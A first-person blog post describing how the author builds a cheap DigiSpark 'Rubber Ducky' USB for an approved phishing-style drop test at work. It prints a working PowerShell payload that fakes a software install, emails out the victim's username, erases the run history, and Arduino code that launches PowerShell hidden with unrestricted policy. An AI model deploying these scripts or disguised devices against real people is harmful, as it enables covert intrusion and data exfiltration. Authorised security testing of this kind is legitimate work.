Poor mans Rubber Ducky in the UK

This is a long one!

So a month or so ago I went to an event titled “Cyber Security Masterclass” which was the first event I’ve been to since the whole COVID-19 lockdown thing. The event itself was OK, unfortunately, they aimed it at low-level technical engineers and decision-makers which made it difficult for myself and my boss who are quite technical. Whilst there the Security Analyst told me about a podcast called Darknet Diaries: https://darknetdiaries.com/ which I started listening to. Turns out I hit this podcast pretty hard listening to over 60 hours of episodes in a month… Whoops.

The other thing that the Security Analyst showed us was the good old Rubber Ducky which is a USB device that emulates a keyboard that you can put scripts onto. This is something I’d seen before but never really delved into.

After the event, I got an idea to try and use one of these devices at work. Got approval from my boss so I started looking into it further. I found the company that made the Rubber Ducky (https://hak5.org/products/usb-rubber-ducky-deluxe) and whilst they looked good I couldn’t justify £80 for a single device knowing that I was going to drop three of them off at different locations. Time to start looking at cheaper alternatives. Very quickly I stumbled across an Arduino board that does this sort of thing, the DigiSpark ATTINY85: https://www.amazon.co.uk/Reland-Sun-Digispark-Kickstarter-Development/dp/B08RRLRMYM/ref=sr_1_5?keywords=attiny85&qid=1636622041&s=computers&sr=1-5

These boards come in a variety of options from a development board to one that looks like a normal USB drive. As a PoC I went for the development board.

From here I followed this guide to get my computer set up and ready for coding up the board: https://maker.pro/arduino/projects/how-to-build-a-rubber-ducky-usb-with-arduino-using-a-digispark-module. Whilst this worked fine and got me up and running, I was running into issues with some of the special characters on the keyboard. After a bit of research, it appeared that the package I downloaded only supported US keyboard layouts 🤦. A lot of the research suggested modifying the scancode-ascii-table.h file to replace some of the special characters with ASCII characters that I needed. This seemed like a complete ballache for something that I’m surprised wasn’t baked into the solution from the get-go. However, after some more digging, I found another GitHub repo that had a Multi-Keyboard Layout option: https://github.com/rsrdesarrollo/DigistumpArduino. Going through this and re-adding the software through Board Manager in Arduino got me exactly what I needed.

So, so far so good, we have a USB chip that supports UK keyboard layouts and we’ve set up our computer to be able to write some code to the ATTINY85. So what’s left to do:

1. Figure out a script to use which allows us to see which individuals have plugged in the USB.
2. Sort out some casing for the USB device to make it a bit more realistic.
3. Work out a plan to drop the USBs off at site.

So let’s look at the first thing. What do we want to do with our potential victims of this kind of attack? Obviously, we don’t want to do something that may potentially compromise our employer’s systems nor do we want to do anything that may get us caught. I think a script to send me an email with the username of who’s plugged the device into their computer should be a good one. Looking into this I found a few GitHub repos that have a variety of attack options, however, this one appeared to be one used by a lot of people: GitHub – CedArctic/DigiSpark-Scripts: USB Rubber Ducky type scripts written for the DigiSpark.

I decided to take advantage of Windows which has email functionality baked-in through .NET so a Powershell script was the obvious choice. At work, we recently replaced our networking infrastructure with a new vendor so I could take care of the third point with this too by posing the USB as some software to allow the IT Team to manage the network. After some messing about with Powershell here’s the script I came up with:

$StartingPopup = New-Object -ComObject Wscript.Shell
$StartingPopup.Popup("Network Management Software is being installed, please wait...",0,"Software Installing",0x1)

$LoggedInUser = $env:UserName
$User = "hackeddevice@test.com"
$password = Get-Content ".\EmailPwd.txt" | ConvertTo-SecureString -Key (Get-Content ".\EmailKey.aes")
$credential = New-Object System.Management.Automation.PSCredential $User, $password

## Define the Send-MailMessage parameters
$mailParams = @{
    SmtpServer                 = 'smtp.office365.com'
    Port                       = '587' 
    UseSSL                     = $true 
    Credential                 = $credential
    From                       = 'hackeddevice@test.com'
    To                         = 'talan@test.com
    Subject                    = "USB has been plugged in"
    Body                       = 'USB has been plugged in by ' + $LoggedInUser
    DeliveryNotificationOption = 'OnFailure', 'OnSuccess'
}

## Send the message
Send-MailMessage @mailParams

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Network Management System.lnk")
$Shortcut.IconLocation=".\Logo.ico"
$Shortcut.TargetPath = "https://manage.nms.com"
$Shortcut.Save()

##clean up run commands
$RunList = Get-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "MRUList"
$LatestRun = $RunList.MRUList.SubString(0,1)
Remove-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name $LatestRun

$CompletionPopup = New-Object -ComObject Wscript.Shell
$CompletionPopup.Popup("Network Management Software has been installed. There is a shortcut on your desktop.",0,"Software Installed",0x1)

A pretty simple Powershell script that pulls the logged-in username sets up some mail parameters and sends a mail, creates a shortcut on the users desktop and then displays a popup box to show that the “software” has been installed. The credentials have been encrypted using the following guide: https://www.altaro.com/msp-dojo/encrypt-password-powershell/

Right so to save me setting up a hosting server for these files I’m going to put them on a shared drive as I have access to it. If you were doing this for an organisation you didn’t have this access to, you’d need to set up a hosting server with the following files and probably use some unauthenticated SMTP Server to save on requiring encrypted credentials:

1. Powershell script
2. Shortcut Icon

Now we need to create use/modify the script from the GitHub repo above for executing a Powershell script and put it onto our USB Rubber Ducky: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Execute_Powershell_Script/Execute_Powershell_Script.ino

The main thing here for me is to remove the download client functions as we’re storing our file on a share that all users can access and then change the Execution Policy to allow the script to run and run it. So for us the Arduino code looks like this:

DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(400);
  DigiKeyboard.print("powershell.exe -ExecutionPolicy \"Unrestricted\" -WindowStyle \"hidden\" -File \"S:\\IT Services\\TalsScripts\\EmailScript.ps1\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

We’re now onto the final stage, we’ve configured the device and created the relevant scripts we want to run however, we still have just an exposed logic board and it certainly looks very dodgy. To sort this one out I called on my previous knowledge of 3D printing, time to hit Thingiverse to see what’s available. Again quite quickly I stumbled across this STL file that seemed to have everything I needed: https://cults3d.com/en/3d-model/tool/digispark-attiny85-badusb-fake-usb-memory-case-remix. I got one of these printed at a local 3D printer shop and found the tolerances to be just a bit too tight. The board fitted but it felt like I was going to break it and the back piece wouldn’t connect to its slot without some filing, also getting the print of the bed of the printer caused some warping due to the top being so thin. I, therefore, went to Tinkercad to modify the STL file by increasing the size of the base by .15mm all the way around and increasing the height by 1mm. I also increased the height of the top by 1mm so it would fit into its slot.

So there we have it, a Rubber Ducky device set up to execute a Powershell script on plug into a computer that looks like a normal USB drive and for under £10 a device.